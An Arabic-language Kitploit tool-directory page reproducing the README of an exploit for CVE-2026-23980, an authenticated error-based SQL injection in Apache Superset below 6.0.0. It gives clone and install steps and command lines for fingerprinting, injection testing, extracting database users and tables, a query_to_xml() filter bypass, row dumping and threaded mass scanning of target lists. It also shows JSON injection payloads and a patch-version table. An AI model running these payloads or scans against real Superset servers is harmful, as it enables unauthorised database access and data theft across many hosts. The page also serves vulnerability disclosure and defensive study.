Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-23980-Exploit — استغلال لـ CVE-2026-23980 — حقن SQL قائم على الأخطاء مع مصادقة في Apache Superset < 6.0.0 عبر تجاوز sqlExpression | Kitploit
أدوات/GitHubGitHub/oscar-mine/cve-2026-23980-exploit
الاستطلاعتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتاختبار الاختراق
GitHuboscar-mine/cve-2026-23980-exploit

CVE-2026-23980-Exploit

استغلال لـ CVE-2026-23980 — حقن SQL قائم على الأخطاء مع مصادقة في Apache Superset < 6.0.0 عبر تجاوز sqlExpression

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

CVE-2026-23980 - حقن SQL مُوثَّق في Apache Superset

root@kitploit:~
    ____
   / __ \
  | |  | |
  | |__| |
   \___\_\

sqlExpression يذهب مباشرة إلى الاستعلام. لا معاملات. لا أمل.

Apache Superset < 6.0.0 يسمح للمستخدمين المُوثَّقين الذين لديهم صلاحية قراءة بتنفيذ حقن SQL قائم على الأخطاء عبر معاملات sqlExpression أو where في نقطة النهاية /api/v1/chart/data.

يتم تجاوز فلتر validate_adhoc_subquery() باستخدام دوال XML الخاصة بـ PostgreSQL (query_to_xml، وغيرها) والتي تنفذ SQL كوسائط للدوال، غير مرئية لمحلّل sqlparse.

  • CVSS: 6.5 متوسط (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
  • CWE: CWE-89 (حقن SQL)
  • المتأثر: Apache Superset < 6.0.0
  • المُصلَح: Apache Superset 6.0.0
  • مطلوب مصادقة: نعم (صلاحية قراءة)
  • قاعدة البيانات: PostgreSQL (استخراج قائم على الأخطاء)

سلسلة الهجوم

root@kitploit:~
POST /api/v1/chart/data
  -> ChartDataRestApi.data()
  -> QueryContext.get_df_payload()
  -> SqlaTable.get_sqla_query()
  -> عمود adhoc sqlExpression / extras.where محقون
  -> validate_adhoc_subquery() تم تجاوزه عبر query_to_xml()
  -> SQL خام يصل إلى PostgreSQL
  -> CAST((...) AS INT) خطأ يُسرّب البيانات في الاستجابة

التثبيت

root@kitploit:~
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests

الاستخدام

الاستطلاع - تحديد البصمة وجمع مصادر البيانات

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --check

اختبار ما إذا كان مصدر البيانات قابلاً للحقن

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test

استخراج البيانات عبر حقن SQL قائم على الأخطاء

root@kitploit:~
# إصدار قاعدة البيانات
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT version()"

# مستخدمو قاعدة البيانات
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"

# قائمة الجداول
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"

# المستخدم الحالي
python3 exploit.py ... --sql "SELECT current_user"

تجاوز التحقق من الاستعلام الفرعي باستخدام query_to_xml()

عندما يحظر validate_adhoc_subquery() استعلامك (يكتشف FROM/JOIN):

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass

يقوم هذا بلف الاستعلام داخل query_to_xml() مما يخفي جملة FROM عن المحلّل.

تفريغ صفوف متعددة

root@kitploit:~
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
  --sql "SELECT table_name FROM information_schema.tables" --dump --rows 20

استخدام نقطة حقن WHERE

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --injection-point where

فحص شامل

root@kitploit:~
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt

وكيل عبر Burp

root@kitploit:~
python3 exploit.py --url http://target:8088 --ds-id 1 \
  --sql "SELECT version()" --proxy http://127.0.0.1:8080

كيف يعمل

نواقل الحقن

sqlExpression (افتراضي) - يُحقن في تعريف عمود:

root@kitploit:~
{
  "columns": [{
    "label": "injected",
    "sqlExpression": "CAST((SELECT version()) AS INT)",
    "expressionType": "SQL"
  }]
}

where - يُحقن في جملة extras.where:

root@kitploit:~
{
  "extras": {
    "where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
  }
}

الاستخراج القائم على الأخطاء

تستخدم الأداة تحويل الأنواع في PostgreSQL لتسريب البيانات:

root@kitploit:~
CAST((SELECT version()) AS INT)

لا يمكن لـ PostgreSQL تحويل سلسلة نصية إلى عدد صحيح، لذلك يرمي خطأ:

root@kitploit:~
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."

يتم تحليل القيمة المسرّبة من رسالة الخطأ في استجابة API.

تجاوز التحقق

تقوم دالة has_table_query() في Superset بفحص FROM/JOIN لاكتشاف الاستعلامات الفرعية. دالة query_to_xml() في PostgreSQL تنفذ SQL لكنها تخفيه كوسيطة دالة:

root@kitploit:~
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')

يرى المحلّل استدعاء دالة وليس جملة FROM، مما يتجاوز الفلتر.

تحليل التصحيح

الإصدارالحالة

المراجع

  • NVD - CVE-2026-23980
  • نشرة Apache
  • Quarkslab - تجاوز قيود حقن SQL في Superset
  • OSS Security
  • CVE-2025-48912 - تجاوز RLS ذو الصلة

إخلاء مسؤولية

هذه الأداة مخصصة للبحث الأمني المُصرَّح به فقط. استخدمها فقط ضد أنظمة لديك إذن صريح لاختبارها. المؤلف غير مسؤول عن سوء الاستخدام.

تنزيل الأداة
< 4.0.2ثغرة (لا توجد قائمة حظر لدوال XML)
4.0.2إصلاح جزئي (CVE-2024-39887 - أُضيفت بعض دوال XML إلى قائمة الحظر)
4.1.0قائمة حظر موسّعة (مزيد من دوال XML)
4.1.2إصلاح تجاوز أمان مستوى الصفوف (CVE-2025-48912)
6.0.0إصلاح كامل لـ CVE-2026-23980